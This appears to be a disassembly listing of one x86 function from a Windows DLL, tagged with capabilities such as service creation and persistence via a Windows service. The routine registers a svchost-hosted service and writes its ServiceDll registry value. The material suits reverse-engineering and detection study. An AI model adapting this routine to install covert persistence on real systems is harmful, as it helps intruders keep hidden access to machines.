Function at 0x1000e830
Capabilities:
Create service
Get common file path
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x10036008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push 0x208
mov dword [ebp - 0x218], eax
mov ebx, edx
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x21c], ecx
push 0
push eax
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x214], 0
call fcn.10010ba0
add esp, 0xc
lea eax, [ebp - 0x210]
cmp dword [ebp + 0x18], 0
mov ecx, 3
push eax
mov eax, 0x103
cmove eax, ecx
push eax
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x1000e8e1
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1000e8b6
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push ebx
push 7
push 0
push ebx
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
mov eax, dword [ebp - 0x210]
test eax, eax
je 0x1000e8f2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x1000e91c
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x1000eb9d
movzx eax, ax
pop esi
or eax, 0x80070000
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret
push edi
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edi, [ebp - 0x20c]
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x1000e940
mov ecx, 8
mov esi, str._svchost.exe__k
rep movsd dword es:[edi], dword [esi]
mov edx, ebx
movsw word es:[edi], word [esi]
mov esi, edx
nop
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x1000e960
lea edi, [ebp - 0x20c]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x1000e976
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0xf003f
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x1000e9be
call esi
mov esi, eax
test esi, esi
jle 0x1000ea04
movzx esi, si
or esi, 0x80070000
jmp 0x1000ea04
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push 1
push 3
push 0x10
push 0xf01ff
push dword [ebp - 0x218]
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
test eax, eax
jne 0x1000ea21
call esi
mov esi, eax
test esi, esi
jle 0x1000e9fd
movzx esi, si
or esi, 0x80070000
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
mov dword [ebp - 0x218], eax
test esi, esi
je 0x1000ea35
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push edi
call esi
xor eax, eax
mov dword [ebp - 0x218], eax
movups xmm0, xmmword [str.SYSTEMCurrentControlSetServices_]
mov eax, dword [0x10033718]
mov esi, ebx
mov dword [ebp - 0x1cc], eax
mov ax, word [0x1003371c]
movups xmmword [ebp - 0x20c], xmm0
mov word [ebp - 0x1c8], ax
movups xmm0, xmmword [0x100336e8]
movups xmmword [ebp - 0x1fc], xmm0
movups xmm0, xmmword [0x100336f8]
movups xmmword [ebp - 0x1ec], xmm0
movups xmm0, xmmword [0x10033708]
movups xmmword [ebp - 0x1dc], xmm0
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x1000ea87
lea edi, [ebp - 0x20c]
sub ebx, esi
add edi, 0xfffffffe
nop dword [eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x1000eaa0
mov ecx, ebx
mov dword [ebp - 0x210], 0
shr ecx, 2
lea eax, [ebp - 0x210]
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, ebx
mov eax, 0xf013f
and ecx, 3
cmp dword [ebp + 0x18], 0
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xf003f
cmove eax, ecx
push eax
push 0
lea eax, [ebp - 0x20c]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x1000eb4f
lea eax, [ebp - 0x214]
push eax
push str.Parameters
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov esi, eax
test esi, esi
jne 0x1000eb4f
mov esi, dword [ebp - 0x21c]
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1000eb20
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push esi
push 2
push 0
push str.ServiceDll
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
mov eax, dword [ebp - 0x210]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1000eb62
push eax
call edi
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x1000eb6f
push eax
call edi
test esi, esi
je 0x1000eb96
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x1000eb9c
pop edi
movzx eax, ax
pop esi
or eax, 0x80070000
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x218]
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f18c
mov esp, ebp
pop ebp
ret